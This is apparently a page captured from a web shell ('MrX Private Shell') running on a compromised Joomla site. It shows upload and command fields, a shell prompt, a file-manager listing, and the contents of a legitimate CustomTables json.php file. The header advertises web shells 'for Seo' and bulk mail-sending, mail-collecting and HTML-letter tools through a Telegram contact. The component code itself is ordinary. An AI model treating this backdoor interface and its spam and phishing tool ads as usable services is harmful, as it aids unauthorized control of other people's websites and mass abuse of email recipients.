__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component
 * @package Custom Tables
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/

// no direct access

defined('_JEXEC') or die();

require_once(CUSTOMTABLES_LIBRARIES_PATH . DIRECTORY_SEPARATOR . 'tagprocessor' . DIRECTORY_SEPARATOR . 'edittags.php');

use CustomTables\common;
use CustomTables\CTMiscHelper;
use Joomla\CMS\Session\Session;

if (!$this->ct->Params->blockExternalVars and $this->ct->Params->showPageHeading)
	$response_object['page_title'] = common::translate($this->ct->Params->pageTitle);

if (ob_get_contents())
	ob_end_clean();

//Calendars of the child should be built again, because when Dom was ready they didn't exist yet.

if (isset($this->row[$this->ct->Table->realidfieldname]))
	$listing_id = (int)$this->row[$this->ct->Table->realidfieldname];
else
	$listing_id = 0;

require_once(CUSTOMTABLES_LIBRARIES_PATH . DIRECTORY_SEPARATOR . 'layout.php');
$LayoutProc = new LayoutProcessor($this->ct, $this->pageLayout);

//Better to run tag processor before rendering form edit elements because of IF statments that can exclude the part of the layout that contains form fields.
$this->pageLayout = $LayoutProc->fillLayout($this->row, null, '||', false, true);

$form_items = tagProcessor_Edit::process($this->ct, $this->pageLayout, $this->row, 'comes_');

$response_object = [];

$encoded_returnto = common::makeReturnToURL($this->ct->Params->returnTo);

if ($listing_id == 0) {
	$publishstatus = $this->params->get('publishstatus');
	$response_object['published'] = (int)$publishstatus;
}

$response_object['form'] = $form_items;
$response_object['returnto'] = $encoded_returnto;
$response_object['token'] = Session::getFormToken();

$filename = CTMiscHelper::makeNewFileName($this->ct->Params->pageTitle, 'json');

header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Content-Type: application/json; charset=utf-8');
header("Pragma: no-cache");
header("Expires: 0");

echo common::ctJsonEncode($response_object);
die;//JSON output

Filemanager

Name Type Size Permission Actions
default.php File 849 B 0664
default.xml File 10.22 KB 0664
index.html File 43 B 0664
json.php File 2.2 KB 0664
Filemanager